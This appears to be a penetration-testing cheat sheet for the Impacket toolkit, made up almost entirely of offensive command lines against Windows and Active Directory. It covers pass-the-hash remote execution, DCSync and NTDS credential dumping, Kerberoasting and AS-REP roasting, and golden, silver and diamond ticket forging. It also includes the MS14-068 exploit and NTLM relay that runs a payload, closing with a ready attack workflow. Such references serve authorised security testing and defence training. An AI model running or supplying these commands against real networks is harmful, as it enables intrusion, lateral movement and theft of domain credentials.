🌶 IMPACKET

AUTHENTICATION FORMATS#

# Username formats
domain/user:password
domain/user:password@target
user:password@target
domain/user@target -hashes LMHASH:NTHASH
domain/user@target -hashes :NTHASH
domain/user@target -k -no-pass          # Kerberos (ccache)
domain/user@target -aesKey KEY          # Kerberos AES

REMOTE EXECUTION#

PSEXEC.PY#

# Execute commands via SMB (creates service)
psexec.py domain/user:password@target
psexec.py domain/user:password@target cmd.exe
psexec.py domain/user@target -hashes :NTHASH
psexec.py -k -no-pass domain/user@target    # Kerberos

# Specify share
psexec.py domain/user:password@target -path C:\Windows\Temp

SMBEXEC.PY#

# Execute commands via SMB (no binary upload)
smbexec.py domain/user:password@target
smbexec.py domain/user@target -hashes :NTHASH

# Specify share
smbexec.py domain/user:password@target -share ADMIN$

WMIEXEC.PY#

# Execute commands via WMI
wmiexec.py domain/user:password@target
wmiexec.py domain/user:password@target "whoami"
wmiexec.py domain/user@target -hashes :NTHASH

# No output (blind)
wmiexec.py domain/user:password@target -nooutput "command"

ATEXEC.PY#

# Execute commands via Task Scheduler
atexec.py domain/user:password@target "command"
atexec.py domain/user@target -hashes :NTHASH "whoami"

DCOMEXEC.PY#

# Execute via DCOM
dcomexec.py domain/user:password@target
dcomexec.py domain/user:password@target -object MMC20
dcomexec.py domain/user:password@target -object ShellWindows
dcomexec.py domain/user:password@target -object ShellBrowserWindow

CREDENTIAL EXTRACTION#

SECRETSDUMP.PY#

# Dump secrets from target
secretsdump.py domain/user:password@target
secretsdump.py domain/user@target -hashes :NTHASH

# Dump specific secrets
secretsdump.py domain/user:password@target -just-dc          # DCSync only
secretsdump.py domain/user:password@target -just-dc-ntlm     # NTLM only
secretsdump.py domain/user:password@target -just-dc-user USER # Specific user

# From local files
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Output formats
secretsdump.py domain/user:password@target -outputfile hashes

MIMIKATZ.PY (via secretsdump)#

# Built into secretsdump for LSA secrets

SMB ENUMERATION#

SMBCLIENT.PY#

# Interactive SMB client
smbclient.py domain/user:password@target
smbclient.py domain/user@target -hashes :NTHASH

# Commands in shell:
# shares          - List shares
# use SHARE       - Connect to share
# ls              - List files
# cd DIR          - Change directory
# get FILE        - Download file
# put FILE        - Upload file
# cat FILE        - View file

SMBMAP#

# Map SMB shares (not Impacket but commonly used)
smbmap -H target -u user -p password -d domain
smbmap -H target -u user -p password -r SHARE

LOOKUPSID.PY#

# Enumerate domain SIDs and users
lookupsid.py domain/user:password@target
lookupsid.py domain/user:password@target 500-600    # Range
lookupsid.py domain/user@target -hashes :NTHASH

SAMRDUMP.PY#

# Dump SAM info via SAMR
samrdump.py domain/user:password@target

REG.PY#

# Remote registry operations
reg.py domain/user:password@target query -keyName HKLM\\SOFTWARE
reg.py domain/user:password@target add -keyName "HKLM\\SOFTWARE\\Test" -v "Value" -vt REG_SZ -vd "data"

KERBEROS ATTACKS#

GETTGT.PY#

# Request TGT
getTGT.py domain/user:password
getTGT.py domain/user -hashes :NTHASH
getTGT.py domain/user -aesKey KEY

# Save to ccache
export KRB5CCNAME=user.ccache
getTGT.py domain/user:password -dc-ip DC_IP

GETST.PY#

# Request service ticket
getST.py domain/user:password -spn cifs/target.domain.local
getST.py domain/user:password -spn cifs/target -impersonate Administrator
getST.py domain/user -hashes :NTHASH -spn cifs/target

GETNPUSERS.PY#

# AS-REP Roasting (no preauth users)
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -format hashcat
GetNPUsers.py domain/ -usersfile users.txt -format john
GetNPUsers.py domain/user -no-pass -dc-ip DC_IP

GETUSERSPNS.PY#

# Kerberoasting
GetUserSPNs.py domain/user:password -dc-ip DC_IP
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request -outputfile hashes.txt

TICKETER.PY#

# Create Kerberos tickets

# Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local Administrator

# Silver Ticket
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local Administrator

# Diamond Ticket (modify existing TGT)
ticketer.py -request -user user -password pass -domain domain.local -domain-sid S-1-5-21-... -nthash KRBTGT_HASH Administrator

RBCD ATTACK#

# Resource-Based Constrained Delegation
# Add computer to msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py domain/user:password -delegate-to TARGET$ -delegate-from ATTACKER$ -dc-ip DC_IP -action write

# Then get service ticket
getST.py domain/ATTACKER$:password -spn cifs/target.domain.local -impersonate Administrator

GOLDENPACC.PY#

# MS14-068 exploit
goldenPac.py domain/user:password@target

LDAP OPERATIONS#

LDAPSEARCH#

# Impacket ldap tools
ldapdomaindump domain/user:password@DC_IP
ldapdomaindump domain/user@DC_IP -hashes :NTHASH

GETADUSERS.PY#

# Enumerate AD users
GetADUsers.py domain/user:password -dc-ip DC_IP -all
GetADUsers.py domain/user:password -dc-ip DC_IP -all -csv

FINDELEGATION.PY#

# Find delegation settings
findDelegation.py domain/user:password -dc-ip DC_IP

NETWORK ATTACKS#

NTLMRELAYX.PY#

# NTLM relay attack
ntlmrelayx.py -t smb://target
ntlmrelayx.py -t ldap://DC_IP
ntlmrelayx.py -tf targets.txt
ntlmrelayx.py -t smb://target -smb2support
ntlmrelayx.py -t smb://target -e payload.exe
ntlmrelayx.py -t ldap://DC_IP --escalate-user USER

# With SOCKs proxy
ntlmrelayx.py -tf targets.txt -socks -smb2support

RESPONDER (pair with ntlmrelayx)#

responder -I eth0 -rdwv

MITM6#

# IPv6 DNS takeover (pair with ntlmrelayx)
mitm6 -d domain.local

KARMADECOY.PY#

# Capture credentials via fake AP

SNIFFING#

SNIFF.PY#

# Packet sniffing (requires root)
sniff.py -i eth0

DPAPI SECRETS#

DPAPI.PY#

# Decrypt DPAPI blobs
dpapi.py unprotect -file blob.bin -key KEY

MISC TOOLS#

ADDCOMPUTER.PY#

# Add computer to domain
addcomputer.py domain/user:password -computer-name NEWPC$ -computer-pass Password123

CHANGEPASSWD.PY#

# Change user password
changepasswd.py domain/user:oldpass@target -newpass newpass

GETARCH.PY#

# Get target architecture
getArch.py -target target

RPCDUMP.PY#

# Dump RPC endpoints
rpcdump.py domain/user:password@target

SERVICES.PY#

# Manage services remotely
services.py domain/user:password@target list
services.py domain/user:password@target start ServiceName
services.py domain/user:password@target create ServiceName binPath

KERBEROS CONFIG#

# /etc/krb5.conf for Kerberos auth
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc.domain.local
        admin_server = dc.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

# Use ccache
export KRB5CCNAME=/path/to/ticket.ccache

COMMON WORKFLOWS#

# Enumerate users
GetADUsers.py domain/user:password -dc-ip DC_IP -all

# Kerberoast
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request

# AS-REP Roast
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# DCSync
secretsdump.py domain/admin:password@DC_IP -just-dc

# PTH execution
psexec.py domain/admin@target -hashes :NTHASH

# NTLM Relay
ntlmrelayx.py -tf targets.txt -smb2support

QUICK REFERENCE#

psexec.py     Remote execution (SMB, creates service)
wmiexec.py    Remote execution (WMI, cleaner)
smbexec.py    Remote execution (SMB, no binary)
atexec.py     Remote execution (Task Scheduler)
secretsdump.py   Dump credentials
GetUserSPNs.py   Kerberoasting
GetNPUsers.py    AS-REP Roasting
getTGT.py        Get Kerberos TGT
getST.py         Get service ticket
ntlmrelayx.py    NTLM relay
smbclient.py     SMB client
lookupsid.py     SID enumeration